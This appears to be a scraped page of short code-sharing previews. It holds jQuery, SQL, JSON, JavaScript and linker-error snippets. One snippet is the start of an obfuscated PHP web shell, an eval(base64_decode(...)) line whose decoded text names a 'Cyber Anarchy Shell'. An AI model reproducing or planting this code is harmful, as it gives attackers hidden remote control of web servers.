This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
. | |
":" | |
___:____ |"\/"| | |
,' `. \ / | |
| O \___/ | | |
~^~^~^~^~^~^~^~^~^~^~^~^~ | |
Fail. Check back in a bit! |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(this.el).find('.dwr-guestInfoHear.cnt-select').html($('#referral-sources-template').html()); | |
selected_referral = this.model.get('referral_source').id; | |
if(selected_referral !== undefined) { | |
$(this.el).find('.dwr-guestInfoHear.cnt-select option[selected="selected"]').removeAttr('selected'); | |
$(this.el).find('.dwr-guestInfoHear.cnt-select option[value="' + selected_referral + '"]').attr('selected', 'selected'); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT DISTINCT outlet_name, | |
IFNULL(SUM(reservation_pax), 0) AS reserved, | |
outlet_max_capacity, | |
( outlet_max_capacity - IFNULL(SUM(reservation_pax), 0) ) AS available | |
FROM `outlets` | |
LEFT JOIN `reservations` | |
ON `reservations`.reservation_outlet_id = `outlets`.outlet_id | |
AND reservation_date = '2011-09-22' | |
AND HOUR(reservation_time) = '17' | |
GROUP BY outlet_id |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"meta": { | |
"limit": 20, | |
"next": null, | |
"offset": 0, | |
"previous": null, | |
"total_count": 2 | |
}, | |
"objects": [{ | |
"active": false, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"created_by": { | |
"email": "[email protected]", | |
"first_name": "Jose", | |
"id": "2", | |
"last_name": "Padilla" | |
}, | |
"text": "Consetetur sadipscing elitr.", | |
"todo": { | |
"id": "2" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT DISTINCT main_venue.*, | |
COUNT(main_like.id) AS likes | |
FROM main_venue | |
JOIN main_like ON main_like.venue_id = main_venue.id | |
GROUP BY main_venue.id | |
ORDER BY likes DESC | |
LIMIT 5 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? eval(base64_decode('JHNoX2lkID0gIlcwTjVZbVZ5SUVGdVlYSmphSGtnVTJobGJHeGQiOw0KJHNoX25hbWUgPSBiYXNl'. | |
'NjRfZGVjb2RlKCRzaF9pZCk7DQokc2hfbWFpbnVybCA9ICJodHRwOi8vQ3liZXJBbmFyY2h5Lm9y'. | |
'ZyI7DQokaHRtbF9zdGFydCA9ICc8aHRtbD48aGVhZD4NCjx0aXRsZT4nLmdldGVudigiSFRUUF9I'. | |
'T1NUIikuJyAtICcuJHNoX25hbWUuJzwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0K'. | |
'PCEtLQ0KYm9keSx0YWJsZSB7IGZvbnQtZmFtaWx5OnZlcmRhbmE7Zm9udC1zaXplOjExcHg7Y29s'. | |
'b3I6cmVkO2JhY2tncm91bmQtY29sb3I6YmxhY2s7IH0NCnRhYmxlIHsgd2lkdGg6MTAwJTsgfQ0K'. | |
'dGFibGUsdGQgeyBib3JkZXI6MXB4IHNvbGlkIGJsYWNrO21hcmdpbi10b3A6MjttYXJnaW4tYm90'. | |
'dG9tOjI7cGFkZGluZzo1cHg7IH0NCmEgeyBjb2xvcjpsaWdodGJsdWU7dGV4dC1kZWNvcmF0aW9u'. | |
'Om5vbmU7IH0NCmE6YWN0aXZlIHsgY29sb3I6IzAwRkYwMDsgfQ0KYTpsaW5rIHsgY29sb3I6IzVC'. | |
'NUJGRjsgfQ0KYTpob3ZlciB7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0NCmE6dmlzaXRl'. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"files": { | |
"backbone": "https://raw.github.com/documentcloud/backbone/master/backbone.js", | |
"history": "https://raw.github.com/balupton/history.js/master/scripts/compressed/history.js", | |
"jquery": "http://code.jquery.com/jquery.js", | |
"jquery-cookie": "https://raw.github.com/carhartl/jquery-cookie/master/jquery.cookie.js", | |
"jquery-dotimeout": "https://raw.github.com/cowboy/jquery-dotimeout/master/jquery.ba-dotimeout.min.js", | |
"jquery-extra-selectors": "https://raw.github.com/keithclark/JQuery-Extended-Selectors/master/jquery-extra-selectors.js", | |
"jquery-flexslider": "https://raw.github.com/mbmufffin/FlexSlider/master/jquery.flexslider-min.js", | |
"jquery-mediaelement": "https://raw.github.com/johndyer/mediaelement/master/build/mediaelement-and-player.js", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Geo() {} | |
Geo.prototype.getCurrentPosition = function(_callback) { | |
var longitude = 0; | |
var latitude = 0; | |
var altitude = 0; | |
var heading = 0; | |
var accuracy = 0; | |
var speed = 0; | |
var timestamp = 0; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Undefined symbols for architecture x86_64: | |
"bisection(double, double, double, double, std::vector<std::string, std::allocator<std::string> >)", referenced from: | |
__ZL11processMenuv in main.o | |
"intToString(int)", referenced from: | |
__ZL15functionMethodsv in main.o | |
ld: symbol(s) not found for architecture x86_64 | |
clang: error: linker command failed with exit code 1 (use -v to see invocation) |